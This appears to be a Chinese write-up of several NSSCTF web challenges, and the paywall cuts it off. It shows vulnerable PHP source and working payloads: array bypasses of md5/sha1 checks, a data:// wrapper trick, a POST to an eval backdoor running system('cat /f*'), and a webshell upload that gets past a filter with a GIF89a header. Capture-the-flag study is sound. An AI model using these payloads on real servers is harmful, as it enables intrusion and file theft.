Web
colorful_snake
来玩贪吃蛇~
F12查看源代码,可以看到this_is_real_flag函数,发现是unicode编码

利用网站转换得到flag

一键连接!
连连need
<?php
highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {
if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {
if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {
echo "Congratulations~~~~~~~~~";
echo "试试need Antsword<br/>";
@eval($_POST['Nss']);
}else{
echo "可曾听过data协议?";
}
} else {
echo "sha1又如何相等呢";
}
} else {
echo "如何让md5值相等呢¿";
}
第一 层要让md5_1和md5_2经过md5加密后强比较类型相等,并且md5_1不等于md5_2,这里可以用数组绕过
构造payload
?md5_1[]=1&md5_2[]=2
第二层便是绕过sha1加密,这里也可以用数组
payload:
sha1_1[]=3&sha1_2[]=4
接下来可以看到file_get_contents,这个函数的内容就是显示文件内容,可以利用data协议传入数据流
payload:
new_player=data://text/plain,Welcome to NSSCTF!!!
接下来利用Nss来进行RCE即可,最后发包如下
?md5_1[]=1&md5_2[]=2&sha1_1[]=3&sha1_2[]=4&new_player=data://text/plain,Welcome to NSSCTF!!!
POST DATA:
Nss=system('cat /f*');

NSS_HTTP_CHEKER
来看看你的HTTP知识储备!

好好好,喜欢这种,直接秒了
Burp发包如下

ez_talk
无
文件上传,先直接上传个php文件

试一试修改MIME类型,但是被过滤

猜测是不是有文件头检测,添加文件头GIF89a?可以看到绕过,路径被翻转

直接访问
http://node6.anna.nssctf.cn:28908/uploads/shell.php
可以看到已经挂马成功,直接RCE得到flag

Pingpingping
程序未响应
<?php
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'

本文围绕Web CTF题目展开,涵盖colorful_snake、NSS_HTTP_CHEKER等多个题目。涉及利用网站转换、绕过加密、文件上传、反序列化、无回显RCE、SQL注入等多种解题方法,还介绍了通过构造payload、利用魔术方法、使用DNSlog外带数据、报错注入、爆破等技巧获取flag。
最低0.47元/天 解锁文章
656

被折叠的 条评论
为什么被折叠?



